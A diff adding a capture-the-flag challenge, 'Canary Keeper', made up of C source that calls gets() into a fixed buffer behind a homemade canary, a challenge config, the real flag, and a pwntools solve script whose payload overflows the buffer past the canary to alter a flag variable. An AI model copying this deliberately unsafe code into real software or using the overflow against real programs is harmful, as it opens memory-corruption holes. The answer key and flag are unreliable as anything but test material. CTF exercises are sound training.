Binex/canary keeper 0

canary-keeper-0/chall.c

@@ -0,0 +1,36 @@
+#include <string.h>
+#include <stdio.h>
+
+#define CANARY_VALUE "canary\0"
+#define FLAG_VALUE "bcactf{s1mple_CANaRY_9b36bd9f3fd2f}\0"
+
+int check_canary(const char* canary) {
+    return strcmp(canary, CANARY_VALUE) == 0;
+}
+
+int check_flag(const char* flag) {
+    return strcmp(flag, FLAG_VALUE) == 0;
+}
+
+int main() {
+    char flag[64] = FLAG_VALUE;
+    char canary[7] = CANARY_VALUE;
+    char buffer[64];
+
+    printf("Enter a string: ");
+    gets(buffer);
+
+    if (!check_canary(canary)) {
+        printf("Buffer overflow detected!\n");
+        return 1;
+    }
+
+    if (check_flag(flag)) {
+        printf("No changes in flag detected!\n");
+        return 1;
+    }
+
+    printf("Flag: %s\n", FLAG_VALUE);
+
+    return 0;
+}

canary-keeper-0/chall.yaml

@@ -0,0 +1,16 @@
+name: Canary Keeper
+categories:
+  - binex
+value: 100
+flag:
+  file: ./flag.txt
+description: |-
+  My Friend Gave me this executeable, but it keeps giving me errors.
+  Can you get the flag?
+files:
+  - src: ./a.out # TODO COMPILED VERSION OF PROVIDED.C
+authors:
+  - Jack
+visible: true
+
+#Todo Deployment

canary-keeper-0/provided.c

@@ -0,0 +1,36 @@
+#include <string.h>
+#include <stdio.h>
+
+#define CANARY_VALUE "canary\0"
+#define FLAG_VALUE "FLAG\0"
+
+int check_canary(const char* canary) {
+    return strcmp(canary, CANARY_VALUE) == 0;
+}
+
+int check_flag(const char* flag) {
+    return strcmp(flag, FLAG_VALUE) == 0;
+}
+
+int main() {
+    char flag[64] = FLAG_VALUE;
+    char canary[7] = CANARY_VALUE;
+    char buffer[64];
+
+    printf("Enter a string: ");
+    gets(buffer);
+
+    if (!check_canary(canary)) {
+        printf("Buffer overflow detected!\n");
+        return 1;
+    }
+
+    if (check_flag(flag)) {
+        printf("No changes in flag detected!\n");
+        return 1;
+    }
+
+    printf("Flag: %s\n", FLAG_VALUE);
+
+    return 0;
+}

canary-keeper-0/solve.py

@@ -0,0 +1,7 @@
+from pwn import *
+
+p = process('./a.out')
+
+p.sendline(b'A'*73+b'canary\0'+b'test')
+flag = p.recvall()
+print(flag.decode())